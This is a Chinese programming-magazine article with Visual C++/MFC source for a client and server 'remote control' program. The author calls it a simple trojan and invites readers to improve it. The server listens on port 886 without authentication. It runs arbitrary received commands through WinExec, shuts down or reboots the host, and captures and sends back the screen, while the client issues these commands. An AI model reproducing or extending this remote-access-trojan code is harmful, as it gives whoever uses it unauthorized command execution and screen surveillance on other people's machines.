你好,欢迎来到电脑编程技巧与维护杂志社! 杂志社简介广告服务读者反馈编程社区  
合订本订阅
 
 
您的位置:杂志经典 / 图形图象处理与游戏编程
用VC编写网络远程控制程序
 

  要:本文主要探讨在VC编程环境下利用Socket实现网络远程控制,本文编制的服务器与客户端程序可以实现基本的网络远程控制功能,如发送消息、执行命令、远程关机、重启和截取屏幕等,也算是一个简单的木马程序。

关键词:远程控制 网络管理 socket

 

基于网络的远程控制是网络管理员和黑客都非常关注的网络技术。在美好的网络化社会中远程控制是技术核心,比如将来可以一边坐在办公室里工作,一边通过网络打开家里的电饭锅做饭。简单的说,网络远程控制技术就是可以由一台联网(互联网或局域网)的主机来操纵联网的另一台或多台主机。网络管理员用它来实现网络的远程管理,黑客用它来占用别人的主机资源。

网络远程控制实现的基础就是基于网络技术开发的客户端(client/服务器(server)程序,程序执行后,由客户端来操作服务器完成客户端的请求。

一、服务器程序

VC下新建一个基于对话框的工程MiniTrojDlg,要选择支持Winsock,然后在工程中加入自己从Csocket派生的两个类CLisenSocketCClientSocketCLisenSocket类用于建立监听的SocketCClientSocket类用于建立通信的SocketCLisenSocket类对虚函数OnAccept()进行重载。CClientSocket类对虚函数OnReceive()进行重载。在程序中建立一个用于监听指定端口的Socket,当有客户端请求到达后,再新建一个用于通信的Socket与客户端Socket建立连接,处理客户端请求。如果客户端请求为发送消息,则通过MessageBox函数显示该消息;如果客户端请求为执行命令,则调用WinExec函数执行相应命令;如果客户端请求为截取屏幕,则获取桌面窗口DC并用DIBAPI中函数获取图象并存为DIB对象,通过与客户端建立的连接将此DIB对象发送到客户端显示。

相关核心代码如下,详细代码请参见源程序。

ClisenSocket.h代码如下:

class CMiniTrojDlg;

// LisenSocket command target

class LisenSocket : public CSocket

{

// Attributes

public:

// Operations

public:

   LisenSocket(CWnd *pWnd);

   virtual ~LisenSocket();

// Overrides

public:

   // ClassWizard generated virtual function overrides

   //{{AFX_VIRTUAL(LisenSocket)

   public:

   virtual void OnAccept(int nErrorCode);

   //}}AFX_VIRTUAL

   // Generated message map functions

   //{{AFX_MSG(LisenSocket)

       // NOTE - the ClassWizard will add and remove member functions here.

   //}}AFX_MSG

// Implementation

protected:

private:

   CMiniTrojDlg *m_pWnd;

};

ClisenSocket.cpp代码如下:

LisenSocket::LisenSocket(CWnd *pWnd)

{

    m_pWnd=(CMiniTrojDlg *)pWnd;

}

LisenSocket::~LisenSocket()

{

}

// Do not edit the following lines, which are needed by ClassWizard.

#if 0

BEGIN_MESSAGE_MAP(LisenSocket, CSocket)

    //{{AFX_MSG_MAP(LisenSocket)

    //}}AFX_MSG_MAP

END_MESSAGE_MAP()

#endif  // 0

// LisenSocket member functions

void LisenSocket::OnAccept(int nErrorCode)

{

    m_pWnd->ProcessPendingAccept();

    CSocket::OnAccept(nErrorCode);

}

CclientSocket.h代码如下:

class CMiniTrojDlg;

// CClientSocket command target

class CClientSocket : public CSocket

{

// Attributes

public:

// Operations

public:

    CClientSocket(CWnd *pWnd);

    virtual ~CClientSocket();

// Overrides

public:

    // ClassWizard generated virtual function overrides

    //{{AFX_VIRTUAL(CClientSocket)

    public:

    virtual void OnReceive(int nErrorCode);

    //}}AFX_VIRTUAL

    // Generated message map functions

    //{{AFX_MSG(CClientSocket)

        // NOTE - the ClassWizard will add and remove member functions here.

    //}}AFX_MSG

// Implementation

protected:

private:

    CMiniTrojDlg *m_pWnd;

};

CclientSocket.cpp代码如下:

CClientSocket::CClientSocket(CWnd *pWnd)

{

    m_pWnd=(CMiniTrojDlg *)pWnd;

}

CClientSocket::~CClientSocket()

{

}

// Do not edit the following lines, which are needed by ClassWizard.

#if 0

BEGIN_MESSAGE_MAP(CClientSocket, CSocket)

    //{{AFX_MSG_MAP(CClientSocket)

    //}}AFX_MSG_MAP

END_MESSAGE_MAP()

#endif  // 0

// CClientSocket member functions

void CClientSocket::OnReceive(int nErrorCode)

{

    m_pWnd->ProcessPendingRead();

    CSocket::OnReceive(nErrorCode);

}

CminiTrojDlg.cpp中添加以下代码:

BOOL CMiniTrojDlg::OnInitDialog()

{       //  系统初始化

CDialog::OnInitDialog();

SetIcon(m_hIcon, TRUE);   

SetIcon(m_hIcon, FALSE);

m_nPort=886;

pLisen=new LisenSocket(this);

if(!pLisen->Create(m_nPort))

{

AfxMessageBox(IDS_CREATEFAILED);

}

else if(!pLisen->Listen()){

AfxMessageBox(IDS_LISTENFAILED);

}

else

return TRUE;

//Ok,服务器正在帧听...

arIn=NULL;

arOut=NULL;

return TRUE;

}

// -- 在此函数接收客户程序的连接请求 --

void CMiniTrojDlg::ProcessPendingAccept()

{

pClient=new CClientSocket(this);

if(pLisen->Accept(*pClient))

{

 Socketfile=new CSocketFile(pClient);

arIn=new CArchive(Socketfile,CArchive::load);

 arOut=new CArchive(Socketfile,CArchive::store);

}

else{

  delete pClient;

  pClient=NULL;

}

}

// -- 在此函数接收客户程序发送的数据 --

void CMiniTrojDlg::ProcessPendingRead()

{

CString TempReceive;

    if(arIn->IsBufferEmpty())

    {

        *arIn>>TempReceive;

        if(TempReceive.Left(1)=='m')   

        {   //接收的是消息

            TempReceive.Delete(0,2);

            MessageBox(TempReceive,"提示信息",MB_OK);

        }

        else if(TempReceive.Left(1)=='c')

        {   //接收的是命令

            TempReceive.Delete(0,2);

    WinExec(TempReceive,NULL);

        }

        else if(TempReceive.Left(1)=='g')

        {   //接收的是关机命令

::ExitWindowsEx(EWX_POWEROFF,0);

        }

        else if(TempReceive.Left(1)=='r')

        {   //接收的是注销命令

    ::ExitWindowsEx(EWX_REBOOT,0);

        }

        else   

        {   //接收的是捕获屏幕命令

CWnd * m_pWnd=GetForegroundWindow();

ASSERT(m_pWnd!=NULL);

CDC * pdc_Showed=m_pWnd->GetDC();

CRect rect;

m_pWnd->GetClientRect(rect);

int height,width,i,j;

height=rect.Height();

width=rect.Width();

LPSTR   lpDIBCopy;

HDIB m_CopyDIB=CreateDIB(width,height,8);

lpDIBCopy=(LPSTR) ::GlobalLock((HGLOBAL)m_CopyDIB);

BITMAPINFO * bminfo=(BITMAPINFO *)lpDIBCopy;

for(i=0;i<=255;i++){

    bminfo->bmiColors[i].rgbBlue=i;

    bminfo->bmiColors[i].rgbRed=i;

    bminfo->bmiColors[i].rgbGreen=i;

    bminfo->bmiColors[i].rgbReserved=0;

}  

LPSTR lpDIBCopyBits=::FindDIBBits(lpDIBCopy);

int tWidthBytes=WIDTHBYTES(width*8);

COLORREF bmpdat;

unsigned char pixel;

for(i=0;i<height;i++){

    for(j=0;j<width;j++){

    bmpdat=pdc_Showed->GetPixel(j,height-i);

    pixel=(unsigned char)((float)GetBValue(bmpdat)*0.299+(float)GetGValue(bmpdat)*0.587+(float)GetRValue(bmpdat)*0.114);

    lpDIBCopyBits[i*tWidthBytes+j]=pixel;

    }

}

    *arOut<<height;

    *arOut<<width;

arOut->Write(lpDIBCopy,(54+256*4+height*width));

    arOut->Flush();

        }}}

二、客户端程序

VC下新建一个基于对话框的工程CTrojClient,也要选择支持WinSock,然后在工程中加入自己从Csocket派生的类CClientSocket,此类与服务器程序中建立的CclientSocket类相同。其界面如下:

 

 

 

 

 

 

 

 

 

 

 

 


CTrojClent.h文件中添加以下代码:

public:

CClientSocket * SendSocket;

     CArchive *arIn,*arSend;

     CSocketFile *Socketfile;

     UINT m_nPort;

     CString MessageCommand;

     void Send(CString IpAddress,CString CommMess);

     void ProcessPendingRead();

     HDIB m_DIB;

     LPSTR    lpDIB;

CTrojClent.cpp文件中添加以下代码:

BOOL CTrojClientDlg::OnInitDialog()

{

CDialog::OnInitDialog();

m_nPort=886;

SendSocket=NULL;

arSend=NULL;

Socketfile=NULL;

MessageCommand="";

m_DIB=NULL;

return TRUE; 

}

void CTrojClientDlg::Send(CString IpAddress,CString CommMess)

{

SendSocket=new CClientSocket(this);

if(!SendSocket->Create())

{  

AfxMessageBox(IDS_CREATEFAILED);

return;

}

else if(!SendSocket->Connect((LPCTSTR)IpAddress,m_nPort))

{

     AfxMessageBox(IDS_RETRYCONNECT);

     return;

}

else{             

     Socketfile=new CSocketFile(SendSocket);

     arSend=new CArchive(Socketfile,CArchive::store);

     arIn=new CArchive(Socketfile,CArchive::load);

}

*arSend<<CommMess;

arSend->Flush();

}

//此处处理服务器送来的屏幕信息

void CTrojClientDlg::ProcessPendingRead()

{

int height,width;

*arIn>>height;

*arIn>>width;

m_DIB=CreateDIB(width,height,8);// 创建新DIB

lpDIB=(LPSTR) ::GlobalLock((HGLOBAL)m_DIB);

arIn->Read(lpDIB,54+1024+height*width);      

Invalidate();

}

void CTrojClientDlg::OnPaint()

{

       if(m_DIB==NULL)

              CDialog::OnPaint();

       else

       {

CWnd* pWnd = GetDlgItem(IDC_Image);

       //获取绘制屏幕的窗口

       CDC* pDC = pWnd->GetDC();                  // 取设备上下文指针

       CRect mRect;

       pWnd->GetClientRect(&mRect);

       pWnd->Invalidate();

       pWnd->UpdateWindow();

       CRect DIBRect;

       DIBRect.top=DIBRect.left=0;

       DIBRect.right=(int)DIBWidth(lpDIB);

DIBRect.bottom=(int)DIBHeight(lpDIB);

       CPalette * m_palDIB;

       m_palDIB = new CPalette;   

// 创建新调色板

       if (m_palDIB == NULL)

       {// 判断是否创建成功        

              ::GlobalFree((HGLOBAL) m_DIB);// 失败,可能是内存不足         

              m_DIB = NULL;

              return;     // 返回

       }

       if (::CreateDIBPalette(m_DIB, m_palDIB) == NULL)

       {//返回空,可能该DIB对象没有调色板

       delete m_palDIB;// 删除             

       m_palDIB = NULL;// 设置为空         

       return;// 返回

       }

       ::PaintDIB(pDC->m_hDC,&mRect,m_DIB,&DIBRect,m_palDIB);

              ReleaseDC(pDC);

              CDialog::OnPaint();

       }}

对各个按钮增加响应函数如下:

void CTrojClientDlg::OnSendMessage()

{

       MessageCommand="m:"+m_Message;         // 加上消息标志

       Send(m_IpAddress,MessageCommand);      // 发送出去

       m_Message="";

       UpdateData(false);

}

void CTrojClientDlg::OnSendCommand()

{

       MessageCommand="c:"+m_Command;       // 加上命令标志

       Send(m_IpAddress,MessageCommand);      // 发送出去

       m_Command="";

       UpdateData(false);

}

void CTrojClientDlg::OnRemoteShut()

{

MessageCommand="g:关机 ";//Rundll.exe user.exe,ExitWindows";远程关机命令

       Send(m_IpAddress,MessageCommand);

}

void CTrojClientDlg::OnCapScreen()

{

       MessageCommand="s:capture screen";

       Send(m_IpAddress,MessageCommand);

}

void CTrojClientDlg::OnRemoteReset()

{

       MessageCommand="r:重启 ";

       Send(m_IpAddress,MessageCommand);

}

三、结束语

上述程序均在Win98/2000下调试通过,只不过关机与重启函数在不同操作系统下不太一致。其中截取屏幕所用到的图象函数采用的是DIBAPI中的函数,需向工程中添加DIBAPI.hDIBAPI.cpp文件。本程序类似于一个木马,但远不如黑客们做的那么专业,有兴趣的朋友可以加以改进。
  推荐精品文章

·2024年9月目录 
·2024年8月目录 
·2024年7月目录 
·2024年6月目录 
·2024年5月目录 
·2024年4月目录 
·2024年3月目录 
·2024年2月目录 
·2024年1月目录
·2023年12月目录
·2023年11月目录
·2023年10月目录
·2023年9月目录 
·2023年8月目录 

  联系方式
TEL:010-82561037
Fax: 010-82561614
QQ: 100164630
Mail:gaojian@comprg.com.cn

  友情链接
 
Copyright 2001-2010, www.comprg.com.cn, All Rights Reserved
京ICP备14022230号-1,电话/传真:010-82561037 82561614 ,Mail:gaojian@comprg.com.cn
地址:北京市海淀区远大路20号宝蓝大厦E座704,邮编:100089